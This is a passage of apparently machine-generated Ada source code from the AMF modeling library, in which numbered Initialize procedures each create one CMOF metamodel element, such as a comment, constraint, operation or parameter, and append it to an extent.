AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_340;
--------------------
-- Initialize_341 --
--------------------
procedure Initialize_341 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_341;
--------------------
-- Initialize_342 --
--------------------
procedure Initialize_342 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_342;
--------------------
-- Initialize_343 --
--------------------
procedure Initialize_343 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_343;
--------------------
-- Initialize_344 --
--------------------
procedure Initialize_344 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_344;
--------------------
-- Initialize_345 --
--------------------
procedure Initialize_345 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_345;
--------------------
-- Initialize_346 --
--------------------
procedure Initialize_346 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_346;
--------------------
-- Initialize_347 --
--------------------
procedure Initialize_347 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_347;
--------------------
-- Initialize_348 --
--------------------
procedure Initialize_348 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_348;
--------------------
-- Initialize_349 --
--------------------
procedure Initialize_349 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_349;
--------------------
-- Initialize_350 --
--------------------
procedure Initialize_350 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_350;
--------------------
-- Initialize_351 --
--------------------
procedure Initialize_351 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_351;
--------------------
-- Initialize_352 --
--------------------
procedure Initialize_352 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_352;
--------------------
-- Initialize_353 --
--------------------
procedure Initialize_353 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_353;
--------------------
-- Initialize_354 --
--------------------
procedure Initialize_354 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_354;
--------------------
-- Initialize_355 --
--------------------
procedure Initialize_355 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_355;
--------------------
-- Initialize_356 --
--------------------
procedure Initialize_356 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_356;
--------------------
-- Initialize_357 --
--------------------
procedure Initialize_357 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_357;
--------------------
-- Initialize_358 --
--------------------
procedure Initialize_358 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_358;
--------------------
-- Initialize_359 --
--------------------
procedure Initialize_359 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_359;
--------------------
-- Initialize_360 --
--------------------
procedure Initialize_360 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_360;
--------------------
-- Initialize_361 --
--------------------
procedure Initialize_361 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_361;
--------------------
-- Initialize_362 --
--------------------
procedure Initialize_362 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_362;
--------------------
-- Initialize_363 --
--------------------
procedure Initialize_363 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_363;
--------------------
-- Initialize_364 --
--------------------
procedure Initialize_364 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_364;
--------------------
-- Initialize_365 --
--------------------
procedure Initialize_365 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_365;
--------------------
-- Initialize_366 --
--------------------
procedure Initialize_366 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_366;
--------------------
-- Initialize_367 --
--------------------
procedure Initialize_367 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_367;
--------------------
-- Initialize_368 --
--------------------
procedure Initialize_368 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_368;
--------------------
-- Initialize_369 --
--------------------
procedure Initialize_369 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_369;
--------------------
-- Initialize_370 --
--------------------
procedure Initialize_370 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_370;
--------------------
-- Initialize_371 --
--------------------
procedure Initialize_371 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_371;
--------------------
-- Initialize_372 --
--------------------
procedure Initialize_372 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_372;
--------------------
-- Initialize_373 --
--------------------
procedure Initialize_373 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_373;
--------------------
-- Initialize_374 --
--------------------
procedure Initialize_374 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_374;
--------------------
-- Initialize_375 --
--------------------
procedure Initialize_375 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_375;
--------------------
-- Initialize_376 --
--------------------
procedure Initialize_376 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_376;
--------------------
-- Initialize_377 --
--------------------
procedure Initialize_377 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_377;
--------------------
-- Initialize_378 --
--------------------
procedure Initialize_378 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_378;
--------------------
-- Initialize_379 --
--------------------
procedure Initialize_379 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_379;
--------------------
-- Initialize_380 --
--------------------
procedure Initialize_380 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_380;
--------------------
-- Initialize_381 --
--------------------
procedure Initialize_381 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_381;
--------------------
-- Initialize_382 --
--------------------
procedure Initialize_382 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_382;
--------------------
-- Initialize_383 --
--------------------
procedure Initialize_383 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_383;
--------------------
-- Initialize_384 --
--------------------
procedure Initialize_384 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_384;
--------------------
-- Initialize_385 --
--------------------
procedure Initialize_385 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_385;
--------------------
-- Initialize_386 --
--------------------
procedure Initialize_386 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_386;
--------------------
-- Initialize_387 --
--------------------
procedure Initialize_387 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_387;
--------------------
-- Initialize_388 --
--------------------
procedure Initialize_388 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_388;
--------------------
-- Initialize_389 --
--------------------
procedure Initialize_389 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_389;
--------------------
-- Initialize_390 --
--------------------
procedure Initialize_390 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_390;
--------------------
-- Initialize_391 --
--------------------
procedure Initialize_391 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_391;
--------------------
-- Initialize_392 --
--------------------
procedure Initialize_392 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_392;
--------------------
-- Initialize_393 --
--------------------
procedure Initialize_393 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_393;
--------------------
-- Initialize_394 --
--------------------
procedure Initialize_394 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_394;
--------------------
-- Initialize_395 --
--------------------
procedure Initialize_395 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_395;
--------------------
-- Initialize_396 --
--------------------
procedure Initialize_396 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_396;
--------------------
-- Initialize_397 --
--------------------
procedure Initialize_397 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_397;
--------------------
-- Initialize_398 --
--------------------
procedure Initialize_398 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_398;
--------------------
-- Initialize_399 --
--------------------
procedure Initialize_399 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_399;
--------------------
-- Initialize_400 --
--------------------
procedure Initialize_400 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_400;
--------------------
-- Initialize_401 --
--------------------
procedure Initialize_401 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_401;
--------------------
-- Initialize_402 --
--------------------
procedure Initialize_402 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_402;
--------------------
-- Initialize_403 --
--------------------
procedure Initialize_403 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_403;
--------------------
-- Initialize_404 --
--------------------
procedure Initialize_404 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_404;
--------------------
-- Initialize_405 --
--------------------
procedure Initialize_405 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_405;
--------------------
-- Initialize_406 --
--------------------
procedure Initialize_406 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_406;
--------------------
-- Initialize_407 --
--------------------
procedure Initialize_407 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_407;
--------------------
-- Initialize_408 --
--------------------
procedure Initialize_408 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_408;
--------------------
-- Initialize_409 --
--------------------
procedure Initialize_409 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_409;
--------------------
-- Initialize_410 --
--------------------
procedure Initialize_410 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_410;
--------------------
-- Initialize_411 --
--------------------
procedure Initialize_411 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_411;
--------------------
-- Initialize_412 --
--------------------
procedure Initialize_412 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_412;
--------------------
-- Initialize_413 --
--------------------
procedure Initialize_413 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_413;
--------------------
-- Initialize_414 --
--------------------
procedure Initialize_414 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_414;
--------------------
-- Initialize_415 --
--------------------
procedure Initialize_415 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_415;
--------------------
-- Initialize_416 --
--------------------
procedure Initialize_416 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_416;
--------------------
-- Initialize_417 --
--------------------
procedure Initialize_417 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_417;
--------------------
-- Initialize_418 --
--------------------
procedure Initialize_418 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_418;
--------------------
-- Initialize_419 --
--------------------
procedure Initialize_419 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_419;
--------------------
-- Initialize_420 --
--------------------
procedure Initialize_420 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_420;
--------------------
-- Initialize_421 --
--------------------
procedure Initialize_421 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_421;
--------------------
-- Initialize_422 --
--------------------
procedure Initialize_422 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_422;
--------------------
-- Initialize_423 --
--------------------
procedure Initialize_423 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_423;
--------------------
-- Initialize_424 --
--------------------
procedure Initialize_424 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_424;
--------------------
-- Initialize_425 --
--------------------
procedure Initialize_425 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_425;
--------------------
-- Initialize_426 --
--------------------
procedure Initialize_426 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_426;
--------------------
-- Initialize_427 --
--------------------
procedure Initialize_427 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_427;
--------------------
-- Initialize_428 --
--------------------
procedure Initialize_428 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_428;
--------------------
-- Initialize_429 --
--------------------
procedure Initialize_429 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_429;
--------------------
-- Initialize_430 --
--------------------
procedure Initialize_430 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_430;
--------------------
-- Initialize_431 --
--------------------
procedure Initialize_431 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_431;
--------------------
-- Initialize_432 --
--------------------
procedure Initialize_432 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_432;
--------------------
-- Initialize_433 --
--------------------
procedure Initialize_433 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_433;
--------------------
-- Initialize_434 --
--------------------
procedure Initialize_434 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_434;
--------------------
-- Initialize_435 --
--------------------
procedure Initialize_435 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_435;
--------------------
-- Initialize_436 --
--------------------
procedure Initialize_436 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_436;
--------------------
-- Initialize_437 --
--------------------
procedure Initialize_437 (Extent : AMF.Internals.AMF_Extent) is
